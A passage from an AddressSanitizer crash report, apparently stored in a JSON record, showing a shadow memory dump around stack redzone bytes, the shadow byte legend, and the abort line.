00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab8a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x100078eab8b0: 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2\n  0x100078eab8c0: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00\n  0x100078eab8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100078eab900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==16120==ABORTING", "creation_timestamp": "2026-09-27T08:48:36.000000Z"}]}